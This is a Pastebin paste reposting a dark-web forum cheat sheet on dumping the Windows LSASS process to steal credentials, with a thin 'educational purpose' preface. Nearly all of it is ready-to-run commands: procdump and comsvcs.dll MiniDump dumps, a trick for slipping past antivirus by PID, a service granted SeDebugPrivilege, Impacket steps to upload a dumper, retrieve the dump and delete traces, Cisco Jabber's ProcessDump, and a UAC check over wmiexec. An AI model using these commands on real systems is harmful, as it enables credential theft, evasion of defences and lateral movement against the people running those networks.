Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- NOTE:- This post is found on a Dark Web Forum where the actor discussing about dumping LSASS process in Windows. This would be helpful for Ransomware or any malicious groups. Here by sharing it "FOR EDUCATIONAL PURPOSE", an Early Warning and implement proper measures to thwart such attempts.
- Options for dumping lsass.exe
- #############################
- Options for dumping lsass.exe
- #############################
- Procdump.exe can be obtained @ http://live.sysinternals.com/
- procdump.exe -accepteula -ma lsass.exe lsass.dmp
- -ma = FullDump
- -mp = MiniDump
- You may be able to trick Windows Defender/Antivirus by replacing lsass.exe with the PID (624 in this example)
- procdump.exe -accepteula -mp 624 lsassmini.dmp
- You can get the PID of lsass.exe by typing the Windows command: tasklist
- Other options:
- rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 624 C:\temp\lsass.dmp full
- 624 was the PID when viewed through Task Manager
- Rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (PID) dump.bin full
- Powershell -c rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (PID) dump.bin full
- You can use Windows Service Control to create a service that runs the command, assigns debug privileges to the service, and then runs it:
- sc create test binpath="rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (PID) dump.bin full"
- sc create test binpath="rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 856 dump.bin full"
- sc privs test SeDebugPrivilege
- sc start test
- ##################
- Use Impacket Tools
- ##################
- Open terminal:
- smbclient.py DOM.LOCAL/[email protected]
- # use C$
- # cd Windows
- # cd Temp
- # put procdump.exe
- Open another terminal for psexec.py:
- psexec.py DOM.LOCAL/[email protected] "C:\\Windows\\Temp\\procdump.exe -accepteula -ma 856 C:\\Windows\\Temp\\lsass.dmp"
- Go back to first terminal:
- # get lsass.dmp
- # del procdump.exe
- # del lsass.dmp
- ############################
- Cisco Jabber ProcessDump.exe
- ############################
- Jabber comes with a utility called ProcessDump.exe that you can use to dump LSASS.
- cd c:\program files (x86)\cisco systems\cisco jabber\x64\
- processdump.exe (ps lsass).id c:\temp\lsass.dmp
- ########################
- Check if UAC is disabled
- ########################
- This will tell you if you will be prompted for administrator credentials.
- $ wmiexec.py DOM.LOCAL/[email protected]
- Password: *****
- [*] SMBv3.0 dialect used
- [!] Launching semi-interactive shell - Careful what you execute
- [!] Press help for extra shell commands
- C:\>REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
- EnableLUA REG_DWORD 0x0
- 0x0 shows that it's disabled
- 0x1 shows that it's enabled
Advertisement
Add Comment
Please, Sign In to add comment